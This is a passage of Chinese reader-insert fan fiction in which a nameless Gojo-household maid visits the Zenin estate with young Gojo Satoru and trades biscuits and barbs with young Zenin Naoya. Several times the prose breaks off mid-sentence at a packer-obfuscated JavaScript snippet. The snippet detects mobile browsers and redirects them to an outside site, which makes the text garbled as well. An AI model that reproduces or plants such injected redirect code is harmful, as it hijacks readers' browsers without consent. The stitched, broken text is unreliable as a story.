和你说话的那名侍女耸耸肩,看了一眼还在洗手间的季子,“那天她回来,碰巧看见桌上放了一盒饼干,小小的,浅粉色的,吃了然后就……” 侍女长叹一口气,摇摇头。 你“嘶”了一声,若有所思,摩挲着下颚。 “是不是小花形状,上面有红色的小斑点,很小很小,很小巧的那种?” 侍女也“嘶”了一声,摆出与你如出一辙的动作,“欸?你怎么知道?” “……” 你露出一个十分友善的微笑,笑而不语。 嗯,因为你看见了。 在五条少爷写字的抽屉里。 13 三天后来的很快,最后还是去了。 五条家距离禅院家并不远,私家车很快,也很便捷。 虽然说出来有些不好意思,但你很少见过这种东西,四个轮子,黑色的,而且轮子很大。 你从有记忆开始就在五条家生活,并非完全没见过,那也太离奇。 毕竟五条家宅内也鲜少有车辆行驶,只不过对于作为侍女的你完全没关系,所以一直不太关注。 跟着五条少爷一起的不只有你一个陪同侍女,比你等级高的就有好几个。 虽然嘴上说着不想去,但真的要出去了,就连五条悟也看出来,你很开心。 “因为只是不想争竞而已啦。” 你说,屈身整理着他的和服,“虽然内定很不好,对其他人很不公平,不过如果可以出去看看,我其实非常非常开心哦!” 你脸上的笑容大大扬起,五条悟看着你,那双苍蓝色的瞳孔里映出你毫不掩饰的雀跃。 他任由你替他整理衣襟,视线注视着你。 “禅院家没什么好看的。” 他淡淡地说,语气里带着某种与生俱来的、对御三家同僚的疏离评价,“庭院比这里小,松树也长得歪。” 你正仔细抚平他袖口的褶皱,忍不住笑出声,“少爷,哪有这样评价别人家的。” “而且能看到不一样的庭院呀,还听说禅院家的梅子糕做得特别甜。” 五条悟没再接话,只是在你整理完毕退后一步时,忽然开口,“回来的时候,可以去街市。” “欸?” 你眨巴眨巴眼睛,“为什么突然说这个?” 五条悟看了你一眼,越过你走下台阶,“带你买梅子糕。” “街市的,比禅院家的好吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048159|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 14 车上你很亢奋,所以基本没怎么睡着。 扒拉着门窗忍住想要发出“哇”的感叹,对比你的惊讶,五条少爷显得平淡的多。 禅院比你想象的大,原本还以为真的会非常窄小,树都会是歪的,但眼前的庭院十分气派,丝毫不逊色五条家。 你跟在队伍的最末尾,走走停停,四处张望。 禅院家的侍女看上去比你们规整多了,清一色白色的和服,裙间没多少花纹。 她们垂眸行走时,衣袂甚至不会发出窸窣的声响。 为首禅院的侍女和五条少爷说了什么,队伍停了下来。 “出什么事了?”你问。 “家主与家主之间的见面吧。”前面的侍女说,“应该是想见五条少爷。” “噢……” 和你没有多大关系,反正也只是在门外候着。 前方的白衣侍女已经侧身让开道路,做了个“请”的手势。 看不清五条少爷的表情,但脚步顿了一下,忽然回头望向你。 “你,”他简短地说,“先去客房放东西。” 你不解,但出门在外没有拒绝的份,只是屈身答“是。” 接待你的侍女是禅院的侍女,很安静,和你没有多余的话语。 你不知道为什么不让你过去,不过仔细想想倒也无所谓,毕竟站着也挺累的。 东西并没有要收拾的地方,禅院派来的侍女动作都很利落,三两下已经整理好了一切,离开时也只是行礼,从头到尾没有一句话。 “好神秘的侍女……” 你若有所思,见门口没有人,在小心张望后,盘着腿,坐在蒲团上。 四周静的没有一点声音,你百无聊赖,目光聚焦在包袱中的一小盒黄油饼干上。 是出发前五条少爷给你的,说快过期了。 不过你仔细看过日期,距离过期还有足足11个月呢。 蒲团朝前移了移,你跪坐在榻榻米上,打开包裹,拿出饼干盒。 没有什么比金灿灿的黄油饼干更让人心情舒畅了。 你拿出一块,咬了一口。 正一脸满足的咀嚼,未拉的门前,一闪而过一个人影。 一个黑色的脑袋,穿着精致的墨绿色付纹和服。 他停在门外,原本期待上扬的目光在和你对上眼的那一刻,瞬间不悦了下来。 “你是谁?” 禅院直哉迅速摆出一副倨傲的表情,推开门走了进来,琥珀色的眼眸扫视。 “在禅院家可不允许侍女在这种地方吃东西。” 他的视线落在你手中的饼干盒上,眉头拧得更紧,“而且……还吃得这么不雅观。” 你继续坐在蒲团上,轻挑起一边眉,在他的目光下,不急不慢的拿起手中的饼干。 “咔嚓”一声,你当着他的面,又咬了一口。 “你……!” 他看上去有些恼怒了,伸出一只手,又气愤的放下。 在接二连三中,你当着他的面,连续又吃了两块。 你看见这个漂亮琥珀色眼睛的小孩,脸已经快气成猪肝色了。 7.不悦的小少爷 15 饼干碎从你的手缝中淅淅沥掉下来,落在你的裙摆上,又从裙摆落在地上。 白色粉末状的碎末在褐色的地面十分显眼,像空气中漂浮的细小尘埃,只不过现在落在了地面上。 禅院直哉精致的脸上第一次出现了近乎狰狞的表情。他攥紧拳头,指尖都掐进了掌心,那双琥珀色的眼睛死死瞪着你,像是要把你生吞活剥。 “你竟敢……竟敢如此无礼!”他的声音因为愤怒而微微发颤,脸都发红,“你知道我是谁吗!” 你拍拍手,站起身,拿起一块饼干,缓步走到他面前。 “哦。” 其实你只是在回答他的第一个问题。 你缓步靠近,抄着手,满脸若无其事,还当着他的面又咬了半块。 禅院直哉从未察觉女性也有如此高的身高——事实证明你在身高方面的确稍占优势了,穿上和服后配上那副漫不经心的表情,原本并不高大的身影,在灯光的反射下都显得高大起来。 “……嘁” 禅院直哉下意识后退了一步,不悦地眯起眼。 他的胸口不断起伏,抬起头瞪着你,那双琥珀色的眼睛里满是被轻视的愤怒。 “就只是哦?”他重复道,声音拔高了一个度,“你这家伙——” 你俯视着这个气鼓鼓的小少爷,突然弯下腰,将剩下的半块饼干塞进了他因愤怒而微微张开的嘴里。 禅院直哉的眼睛瞬间瞪圆了。 甜味在他口中化开,混合着黄油的香气。他本能地咀嚼了两下,随即像是被烫到一样,猛地后退一步,把饼干吐在地上。 “你——你竟敢——”他气得话都说不完整了,琥珀色的眼睛里蒙上一层水汽,不知是气的还是呛的。 “味道不错吧?” 你直起身,笑眯眯地看着他,“小孩子要吃甜的才可爱哦。” 禅院直哉攥紧拳头,肩膀因为愤怒而颤抖,看你的目光几近气恼。 然而在他发作之前,走廊上传来了脚步声和侍女们恭敬的问候声。 “直哉少爷,您在这里吗?家主大人找您。” 禅院直哉迅速收敛起孩子气的恼怒和不悦,取而代之的是一种过早成熟的、近乎冷漠的镇定。 尽管那双琥珀色,像蛇一样的眼睛依然不悦地盯着你。 “知道了。”他扬声回应。 然后转向你,用只有你们两人能听到的声音。 “我记住你了。” 比起宣告更像是威胁。你眨巴眨巴眼睛,没有说话。 禅院直哉整理了一下衣襟,转身离开。 “直哉少爷……” 你看着他小小的背影消失在走廊转角,低头看了看地上被吐掉的饼干残渣,一脸无所谓地耸耸肩。 “还好不叫禅院,无所谓啰。” 16 你收拾了一下地面,行李也妥当整理完毕,蹲坐在台阶上无聊到玩狗尾巴草。 晚间的风舒服的有些过分了,你托着腮,缓缓间,已经睡着。 17 你看见站在眼前的木屐,下垂的蜻蜓和服,吓了一跳。 “五、五条少爷!” 你被吓得向后倒去,身体都颤了一颤,肩膀上的衣服滑落,你侧过身去看。 是……五条少爷…… “是她们弄的。” 五条悟开口道,身影没有多少起伏。 他似乎刚来,或者说她们刚走,身上的衣物还没有换下。 你摸了摸鼻子,把落在廊上的衣服重新叠好,跟在后面站起身。 不太清楚五条少爷为什么不让你一起跟着去,不过作为侍女你也不敢多问。 “那个,下午的时候,为什么不让我陪您一起?” 好吧,你还是问了。 五条悟的脚步顿了一下,但没有回头。他靠在廊柱上,月光将他白色的睫毛染镀上白光。 “你太弱了。”他的声音平淡,听不出情绪,“跟着去只会碍事。” 这话说得直接又伤人,但你知道他说的是事实。作为这一次跟随的侍女,你甚至没有咒力,只是个普通人,所以耐力和体能素质,都会差很多。 “而且,站着很累。” ……欸? “欸?” 你微愣,思绪转回。 “累的话……倒也还好吧。” 你说道,绕到他面前,刻意性的作出一个展露肱二头肌的姿势,尽管那里什么都没有。 “其实还是有一点肌肉的好不好,浇花也可以锻炼臂力,所以说,我每天都有训练的。” 五条少爷看着你弯起来的手臂,没有说话。 你不知道他在想什么,但他的的确确没有开口,只是看着你挽起来的袖口,苍蓝色的眼眸平静无波。 “嗯。” 半晌,他回应。 “嗯是什么意思……?” 你思索,放下袖子,“是可以让我下次和您一起?明天我可以和您一起去吗?” “不可以。” “啊——为什么啊——” 你瞬间失落,几乎要在地上打滚,“可是在禅院,如果不出去的话有什么意思呢?” 你啜泣起来,吸了吸鼻子,“听说禅院的家风和家训完全不一样,里面的人也不一样,禅院的少爷们可不少。” 五条少爷已经走到了矮桌前,坐在蒲团上,倒了一杯水,“没什么不一样。” “那里很无聊。” 五条少爷说,“老头子们一直在说话,很吵。” “您今天在那边很无聊吗?” 五条小少爷停了一下,“如果你在的话,你会感觉很无聊。” 他抬眼看了看你,苍蓝色的眸子里闪过一丝什么。 “你会一直偷偷打哈欠。”五条悟放下茶杯,杯底碰到桌面发出轻微的响声,“然后被那些老头子瞪。” “什么?” 你笑出声,走过去在他身旁坐下,“我不会的,我是最守分寸的小侍女。而且作为侍女,被家主们瞪,也是常理之中的吧。” “我不喜欢他们瞪你。” 五条悟说,“我也不喜欢他们看你的眼神。” 你眨巴眼,“什么眼神?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116399|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “像在看一件物品。” 五条悟的声音平静,“一件属于五条家的、可以随意评判的物品。” 你有些发愣,因为你完全没有注意到这个。 你甚至开始回忆是不是真的有这种眼神。 “可是这是很正常的吧。” 你耸肩,“大家都是这样的啦。侍女嘛,这是我们的工作哦,如果硬要说的话,我们的确也算是五条家的专属物品……” “你不是。” 五条悟突然开口,打断你的话。 “你浇花会哼奇怪的歌,喝茶会偷吃配茶的点心,叠衣服时总把袖子折歪。还会在没人的时候对着庭院里的麻雀说话,这些都不是物品会做的事。” 他的声音陡然变冷。 “我不允许任何人——包括你自己——这么认为。” “……” 纵然是身为普通人的你,也察觉到周围的气场似乎和刚才不一样了些。 那是一种你无法用言语描述的环境,空气中仿佛凝结着各种暗沉的物质,温度在这一瞬间仿佛降了些许。 你很少见过五条少爷这样,那种属于神的威压无意识地散发出来。 空气停滞了好一会,大约是察觉到你的退缩,五条小少爷紧皱着眉似乎想说什么,却又抿紧了嘴唇。 最终,他站起身,以一种你熟悉的姿态和动作,垂下眸,拉了拉你的袖子。 “……不要再那样说了。” 他的声音明显放缓,没有抬头看你,白色的睫毛遮挡住一半的眼眸,和平日里询问你什么时候浇完花时,一模一样的语气。 “你不是物品,你是我的侍女,仅此而已。” “……噢。” 你噢了一声,没有再继续这个话题。 你很想说我不是您的侍女,只是远侍而已,但这种话说出口,五条少爷似乎会更加不开心。 拉住你袖口的手指依然存在,你侧了侧身,握住他的手。 “那我明天可以和您一起去吗?”你真的很想去。 “我绝对不犯困,一定跟在您身后,您说一我绝不走二。” “……” “可以嘛?” 你得寸进尺,捏着他手指的手变成了包裹,大手包裹小手。 “可以嘛可以嘛?” 你继续,更加过分的捏起他的手心来。 五条悟被你晃得耳根都泛起淡淡的红。他想抽回手,但你握得很紧。 “松手。”他的语气硬邦邦。 “您答应我就松手。”你耍赖道。 五条小少爷不语,但放在你手心的手也并没有抽回。 你眨巴眨巴眼睛,玩心大起,握住他的手抬起,凑到唇边。 轻柔且柔软的触感,却让小少爷如同被火灼烧过的一般。 他几乎是慌乱地抽回手,你都没来得及看他的表情,已经转身离开。 “欸……?” 你微愣,手里的温度已经抽离。 “我都没注意刚才到底有没有亲到呢!” 回应你的是五条少爷愈快离开的步伐。 8.观察的小少爷 19 你如愿在次日下午,和五条少爷一起去禅院家的厅堂。 早早就起身,整理妥当后兴致勃勃。 “现在就去吧!” 你充满干劲,“我已经迫不及待大饱眼福,好好纪念一下第一次外出了!” 五条少爷没有多余的话,只是接近平淡的扫了你一眼。 你眨巴眨巴眼睛,放下握拳高举的手。 “走吧。” 五条少爷站起身,周围的侍女纷纷跪地,退开一米。 他径直向外走去,和服下越过光洁的廊道,走到一半见你还没有跟上,在门口又停下身来看你。 “哦哦。” 你后知后觉。太失礼了,居然让少爷亲自等你,如果被侍女长看见,免不了又会被戳着脑袋批评。 你连忙小跑着跟上,木屐在寂静中敲出略显急促的脆响。 那些跪伏的侍女,垂下的发髻一丝不乱,像一道无声的屏障。 20 “哇,好漂亮,有花耶。” “耶,好绿,有草耶!” “噢——!还有锦鲤!” 你低着头,垂着手。远看和跟着主家的侍女们一样,但如果仔细看,你的嘴都快裂到了后脑勺,并且因为过于兴奋的话语,脸颊两侧都透着薄红。 五条小少爷走在你身旁,一开始还时不时回应以及回头扫你一眼,后面逐渐不回头了。 甚至你发现,他的步伐似乎快了些。 同时有些刻意的带你避开漂亮的园林,转而走向石子小路。 你终于后知后觉地察觉到了不对劲。 这条石子小路狭窄又偏僻,两旁只有光秃秃的院墙,连片像样的叶子都看不到。 五条小少爷走在你前面,小小的背影挺得笔直,脚步却比来时快了不少。 “那个……五条少爷?”你小跑两步,试图与他并行,小心翼翼地观察他的侧脸,“我们是不是……走错路了?” 他没有立刻回答,只是又往前走了几步,才在一个拐角处停了下来。 然后,转过身。 那双被无数人敬畏、赞叹的蓝色眼眸,此刻正明明白白地倒映着你有些忐忑的脸。 “你很喜欢禅院家?” “欸?” 你微愣,一时间不知道怎么开口。 “倒也……” “你一直在看那些锦鲤。” 五条悟打断你,却没在看你,“五条家也有,但你从来都没有看过。” 你还沉浸在他刚才问你的话上,后知后觉感觉最后那句话好像声音比刚才小了些,甚至都带上了几丝不易察觉的别扭。 耶……?是别扭吗?可以用别扭这个词吗?总感觉更倾向于别扭和不悦之间的词汇吧。 别扭这个词,用来形容五条少爷,还是有些太奇怪了。 你眨了眨眼,笑道,“您怎么会这样认为?我是五条家的侍女,当然只喜欢五条家了。” 五条悟看着你,像等待后续般看着你。 小小的少年还不太会隐瞒情感,尽管每天都是硬邦邦的表情,但你还是很快就从里面看出些什么。 “还有您啦——!” 你蹲下身,想要抱他,但忍住了,只是托了托腮,歪着头看他。 “我最喜欢照顾五条少爷了!” 那双总是没什么波澜的苍蓝色眼睛,像是被投进石子的湖面,极快地掠过一丝涟漪。 但他的脸上依然没什么表情,只是伸出手,有些粗鲁地拽住你的袖子,拉着你继续往前走。 “走了。再磨蹭,禅院家的点心都要被吃完了。” 触发关键词了,你肉眼可见的活跃了一下。 前方的拐角突然传来脚步声,你心一慌,已经比五条悟先一步反应,抽回了手。 “五条少爷。” 来的人是禅院的侍女,侍女俯身说了什么,五条悟的脸上没有什么变化。 “你在这里等我。” 五条少爷看着你说,“我很快回来。” 五条家的少爷居然还亲自回头向你解释说明,你清晰地感觉到,那两道来自禅院侍女的目光,像羽毛般轻轻扫过你的脸颊。 平静,克制,带着古老的家族所特有的、不动声色的审视。只一瞬,她们便重新垂下眼帘,仿佛什么都没发生。 而你身旁的五条悟,似乎对这一切毫无所觉——或者说,毫不在意。 他只是看着你,直到你再次点头,他才离开。 周围彻底安静下来。 你独自站在陌生的廊下,刚才看什么都新鲜的心情,此刻被一种微妙的空落取代。 风穿过庭院,吹得风铃发出轻响,声音很清冷。 你拿着树枝戳着地上的泥土,回忆着池中的锦鲤,忽然觉得,它们游得好像也没那么有趣了。 “是你?” 身后传来声音,你回头,看见一条灰色、质地上乘的和服下摆。 目光上移,对上一张漂亮得近乎锐利的脸。 黑色的短发,微微上挑的眼角,年纪看起来似乎比五条少爷稍大一些,正带着毫不掩饰的打量神情看着你。 “原来你是悟君带来的。”黑发的小人笑道,语气丝毫不掩饰讥讽,“我说谁家的侍女,像你一样这么不守规矩。” 禅院直哉上下抛动着一只袋子,黄色的绒毛袋一上一下。 大约是见你许久不说话,他微微有些不悦起来,“见到我还不行礼吗?五条家就是这样管教侍女的?” “……” 你停顿,并且视线开始游离起来。 禅院直哉不抛那只袋子了,脸上的笑容都淡了些许,皱起眉。 “你该不会,”他一字一顿,声音里透出明显的不悦,“不记得我了吧?” 你视线游离的更厉害了,甚至欲盖弥彰的吸了吸鼻子。 “你……!” 他怒了,小孩子发怒总是很明显,你也很清楚看得出来他不高兴了。 “你这个失礼的蠢女人!我们昨天才见了面的!” 嘶…… 你发难了。 怎么办,还是没有印象。 不过聪明如你,你马上反应过来了。 “下午好,禅院少爷。” 你行礼,动作标准,笑容恰到好处。禅院直哉扬起漂亮的小脸,挑起一边眉。 “记起来了?” “其实没有。” “你……!” 禅院直哉彻底怒了,他深吸一口气又吐出,最终沉下眸,“记好了,我叫直哉,禅院直哉——未来禅院家主,禅院直哉。” 啊。 你回过神来,眼眸都清澈些许。 “你知道我。” 直哉笑道,抱起双臂,“还不算太蠢,如果连御三家的人都记不清的话,已经可以流放野外了。” “原来是直哉少爷,抱歉,是我失礼了。” 你行了一个比刚才更规整的礼仪,出门在外不仅仅是自己的面子,身为侍女,更是整个五条家的面子。 禅院直哉显然很满意你前后态度的反转,唇角立刻恰到好处的又弯了起来。 他抱着双臂,小小的身体站得笔直,下巴微抬,唇角的弧度带着显而易见的愉悦。 “嗯。”他从鼻子里应了一声,算是接受了你的歉意,“既然认出来了,以后就别再忘了。” 禅院直哉扫视你一圈,“悟君呢?就把你一个人丢在这儿?” “五条少爷有些事,让我在此等候。”你恭敬地回答。 “等候?”禅院直哉重复了一遍,眼中闪过一丝意味不明的光。 他忽然朝你走近一步,刻意放轻的语调里带着点孩童特有的、故作神秘的试探。 “他其实是嫌你烦,故意把你支开的吧?” “……” 小小的少年还没有到比你高的身高,你垂眸注视他片刻,二话不说,转身离开。 “……你、你做什么?” 身后传来直哉愣神的声音,看见你已经转身离开,气恼之意几乎要溢出来,“我还没说完呢!谁准你离开的!” 你没有回头,脚步甚至加快了些。 “喂!你给我站住!” 禅院直哉的声音从身后传来,带着气急败坏的意味。你几乎能想象出他此刻漂亮脸蛋上染着薄怒的表情。 他像是想要喊你,却不知道名字,所以总说不出下一句话。又像是要伸手去抓你的衣袖,却碍于身份和面子,所以只是站在原地。 到最后他既没有喊你,也没有追上来,只是咬着唇,脸几乎要发红。 不过你还是停下来了。 因为你感觉他快哭了。 “回来。” 他恶狠狠的说,那双总是盛满傲慢的上挑眼眸里,此刻眼尾发红。 你停下脚步,背对着他,轻轻叹了口气。 终究只是个孩子。 你转过身,慢慢走回他面前。禅院直哉没有看你,只是死死咬着下唇,黑色的睫毛垂着,努力想把那点湿意憋回去。 你没说话,只是从袖中拿出一方干净素净的手帕,轻轻递到他眼前。 禅院直哉盯着那方手帕,愣住了。 他飞快地抬眼看你,眼眶还红着,眼神里混杂着惊愕、窘迫,还有更深的恼怒。 “谁、谁要这个!”他猛地别开脸,语气更不好了。 你“噢”了一声,刚准备收起来,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128443|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看见禅院直哉伸手恰好准备接过。 一个收起,一个准备接过,两个人就这样错开了。 “欸?是要擦眼泪的意思吗?” 你又拿出来,这次直哉彻底不要了。 “谁哭了!” 他打开你的手,侧过身,像是在恶毒的碎碎念。 “没礼貌的蠢女人……你这种侍女就算卖到禅院家,我们也不会要的!” 你摸摸鼻子,其实你最近也没有跳槽的意思。 “听着,”他清了清嗓子,试图找回之前的傲慢姿态,但效果大打折扣,“今天的事,不许告诉任何人。尤其是悟君。” 你很惊讶于都现在了,居然还在惦记那点面子。 “听见没有。” “哦。” “你要回答是。” “……哦。” 禅院直哉看着你似乎要说什么,却张了张口,最终没有没说出来。 “算了。” 他侧过脸,“和你这种蠢笨的女人根本说不清楚。” “不过既然要等,就别玩泥巴了。这个送你。” 他的语气又恢复了那种带着点傲慢的随意,手里黄色的袋子抛给了你。 “这是什么?” “打开看看就知道了。” 你打开,一股黄油甜腻的味道传来。竟然是饼干。 里面静静躺着几块做成小兔子形状的曲奇饼干,烤得金黄酥脆,边缘还点缀着细小的糖粒。 “这是……?”你有些惊讶地抬头看他。 “厨房新试做的点心,甜得腻人。我不喜欢,扔了也是浪费。” 禅院直哉已经转开了视线,看着庭院里光秃秃的树枝,语气硬邦邦,“喂,你不是喜欢吃这种东西吗?那天还在偷吃,给你好了。” 你实在难以掩饰的开心,因为你真的很喜欢这种甜食,而且还是禅院的。 你早就听说禅院的厨子,手艺特别特别好。 “谢谢你,直哉少爷。” 你由衷的感谢道,“我很喜欢这个。” “哼。” 直哉不屑了一声,脸却扬的高高的,唇角也大大抬起。 “你就这么喜欢这个?” 他说,“你叫什么名字?” 你咬着饼干,抬起头,“这两个问题前后有什么关联吗?” “没什么关联就不能问吗?” “倒也不是。” “那就回答我。” 直哉看着你的眼睛,“你的名字是什么?” 你没有说话,只是继续咬着饼干,因为你没有名字。 “不能说?”他有些不高兴了。 “嗯。” “为什么。”他彻底不高兴了。 “因为我是五条家的侍女呀。” 你随便扯了一个谎,“所以就是不能说。” “因为你是五条家的侍女,所以连名字都不能告诉我?”他重复了一遍你的话,语气里充满了质疑,“这是什么破规矩。” 你耸耸肩,继续吃饼干。 “那你来当我的侍女好了。” “……?” 你被吓了一跳,有些没反应过来,“啊?” 禅院直哉似乎很满意你的反应,“我说,你来当我的侍女好了。” “我会让小厨房每天都给你黄油饼干,院子随你逛,也不用总是跟着谁,只要跟着我就行。” 他侧过脸看你,黑色的发丝在微光里显得格外柔软,那双总是盛着傲慢的眼睛里,倒影着你有些迟钝的脸。 “怎么样?比待在五条悟身边,有意思多了吧?” “这不太好吧……而且为什么一定要是我?” “我想知道你的名字。” 他回答得理所当然,仿佛这是世上最迫切、也最简单不过的理由。 “我想要知道你的名字。”他又重复了一遍,目光执着地落在你脸上,“而你不肯说。所以,如果你是我的侍女,就必须告诉我——这是命令。” 好无聊的理由…… “不要。” “……哈?你敢拒绝我?” “对啊,我不要。” “你……你直接就可以成为我的贴身侍女!还有什么不满意的!” “那也不要。” 你抿了抿唇,慢悠悠转过身,“就是不要啊,我是五条家的侍女,直哉少爷,您这样是不对……” 话音戛然而止。 微风吹过树丛,发出沙沙声响。 你看见身后拐角的位置,不知何时静立着一个白色的身影。 那双苍蓝的眼眸平静无波,正望着你们——或者说,望着并排坐在栏杆上、手里还捏着禅院家饼干的你。 9.你是我的 20 空气停了一下又一下。 这可不是什么好兆头。 五条悟站在拐角的位置,双手自然下垂。他没有想要遮挡也没有刻意显露,而是直视着你的目光。 过于璀璨的蓝色一眨不眨注视着你,他的脸上没有任何表情。 你下意识想要藏起来饼干,动作做了一半意识到这简直太欲盖弥彰了,背过去的手又放在前面来,黄色毛绒的饼干袋与你白色的和服格格不入。 “悟君。” 直哉的声音在身后响起,虽然和刚才的语调没什么区别,但最后一个尾音上扬,似乎带着几丝兴奋和愉悦的意味。 但他的动作却不急不慢,像是介乎于兴奋,却又极力压抑住的一般。 相反五条,是两种截然不同的表情。 “事情这么快就谈完了?” 他脸上带着一贯属于禅院家继承人的傲气,微微抬着下巴,目光在五条悟和你之间转了个来回。 “我正和你的侍女聊天呢。她好像……很喜欢我们家的点心。” 五条悟的目光终于从你脸上移开,转向禅院直哉。 两个年纪相仿、身份对等的少年无声地对视了一瞬。空气里似乎有某种无形的压力在悄然累积。 你乖巧地站在中间一动不动,企图把自己缩到最小化。 “是么。”五条悟的声音依旧平淡,听不出情绪。 然后他抬起手,直直的指向你。 “我的。”他说。 两个字,没头没尾。 你愣住了,直哉也有些愣住了,空气又陷入好一会的沉寂。 “悟君,”禅院直哉很快调整了表情,语气里带上了一丝被冒犯的不悦。 “你这是什么意思?难道我连和你的侍女说句话的资格都没有?” 五条悟没有回答。只是极其淡漠地看向他,平静地反问: “你有事?” 禅院直哉被噎了一下。他当然没事,至少没有正经事。 “我只是……”他试图找回主动权。 “没事就让开。” 五条悟打断他,语气依旧平淡,却带着一种不容置疑,近乎天然的上位者气息,“她该回去了。” 说完,五条悟看向你。 你感觉两道不同的目光都注视在了你的身上,一个是左边面无表情的不悦,一个是右边更加明显的不悦。 “那个……多谢直哉少爷,我的确需要回去了。” 你立刻屈身行礼,礼仪十分规范,“谢谢您的款待,我会好好珍……呃,珍惜的,那个,再见!” 你还没直起身,眼角余光就瞥见那抹白色已经越过了你,径直朝禅院直哉走去——或者说,是穿过他身旁的空隙,毫不停留。 那姿态太过理所当然,仿佛站在那里的不是禅院家未来的家主,而仅仅是一根碍眼的廊柱。 以至于你后半句都没能说完,话语断断续续。 两道不同力度的风越过禅院直哉,最终在拐角的位置消失的无影无踪。 他的胸膛剧烈起伏着,因为被忽视的恼怒,两侧都染上不正常的红晕。 余光注视在一旁的树枝上,直哉气愤,用力打了一拳,袖口的方巾掉落。 他喘着气,盯着那方巾看了几秒,像是忽然泄了气,胸膛的起伏慢慢平复下来。 直哉弯腰,有些粗暴地捡起方巾,胡乱塞回袖中。指尖似乎还残留着那布料柔软的触感,和不属于禅院家线香,极淡的皂角气息。 他重新站直身体,理了理衣袖,脸上所有的恼怒与不甘都已敛去,又变回了那个矜傲的禅院家继承人。 只是那双上挑的眼睛,望着空荡荡的回廊拐角,眸色沉静得有些过头。 片刻后,直哉转身,朝着与那两人相反的方向走去。 21 五条少爷走的很快。 比来时要快很多,快到你都有些追不上他。 他没有回头看你,也没有丝毫放缓脚步的意思。 那些你好奇张望过的庭院、假山、流水,此刻都成了模糊倒退的背景。 你只能紧紧盯着他翻飞的衣角,肺里的空气因为奔跑都开始变得灼热。 就在你快要跟不上,气息都有些开始不稳的时候,前方的身影毫无预兆地停了下来。 你猝不及防,差点撞上他的后背,慌忙刹住脚步,扶着廊柱微微喘息。 五条悟转过身。 他没有看你气喘吁吁的模样,目光直接落在你紧紧攥在手里的、那个刺眼的黄色绒毛袋子上。 “扔了。” 他开口,声音平静,却带着不容置喙的冰冷。 “扔……扔什么?” 你一时没反应过来,顺着他的视线,茫然地看向自己手里的东西——那个印着禅院家徽纹、装满饼干的黄色绒毛袋子。 “这个?”你下意识地把它往身后藏了藏,动作做完才意识到这根本无济于事,“可是……可是这是点心啊。” “扔了。” 五条悟又说了一遍,声音里没有丝毫波澜,“禅院家的东西,不准带回去。” 完蛋了…… 这种语气和表情。 纵然是傻子也清楚的知道,五条少爷不高兴了。 你看了看饼干,又看了看袋子,试探性的问道,“那,我可以把饼干拿出来,再扔掉袋子吗?” “……” “少爷,您在生气吗?” “……没有。” “真的?” 你蹲下身,想要看他的脸,五条悟却侧过头。 他没有说是与否的话,只是不去看你,嘴唇紧抿在一起,是过路人都会察觉到“有在不高兴”的表情。 “……少爷?”你小心翼翼,声音放得很轻。 五条悟没有回应,也没有动。 你看着他紧握垂在身侧的手,又想起刚才冷漠的话语。 一种微妙的、混杂着歉意和无奈的情绪,悄悄漫上心头。 你从袖中摸索了一下,掏出一个用干净手帕仔细包好的小东西。那是你之前没吃完藏起来,唯一一块没有放进袋子里的饼干。 你轻轻拉了拉他垂下的衣袖。 “那……”你把手帕包着的小饼干递到他眼前,声音更软了些,带着点哄劝的意味。 “这个,给您?” “是我偷偷藏起来的,不是禅院家的哦。”你补充道,努力让自己的表情看起来无比真诚,“是我的饼干。” 有无下限,其实你碰不到他,所以饼干也没有交在他手心。 但那双苍蓝色的眼眸看向了你。 “对不起。”你轻声说。 “……为什么道歉。” “因为……”你顿了顿,手指摩挲了一下被无下限挡住的袖口,“让您不高兴了。” 又是一阵沉默。你几乎以为他不会回答了。 “没有不高兴。” 他终于开口,声音闷闷的,依旧侧着脸,但紧抿的唇线似乎松动了那么一丝丝,“只是觉得很麻烦。” “麻烦?” “禅院直哉,还有你收下的东西。” 你思索了一下,开口道,“不会啊,我一个晚上就都吃完了,不会被人发现我收贿了的。” 五条悟的身体似乎顿了一下。 他转回头,那双苍蓝的眼睛终于直直地看向你,里面清晰地映出你一脸“我很机灵快夸我”的表情。 空气又静默了几秒。 然后,你看见他抬起手,用食指的关节,不轻不重地敲了一下你的额头。 “笨蛋。” 他吐出两个字,语气里听不出是无奈还是别的什么。但紧抿的唇角,似乎终于放松了那么一点微不可察的弧度。 “不是那个意思。”他收回手,重新看向池塘。 你抱住脑袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 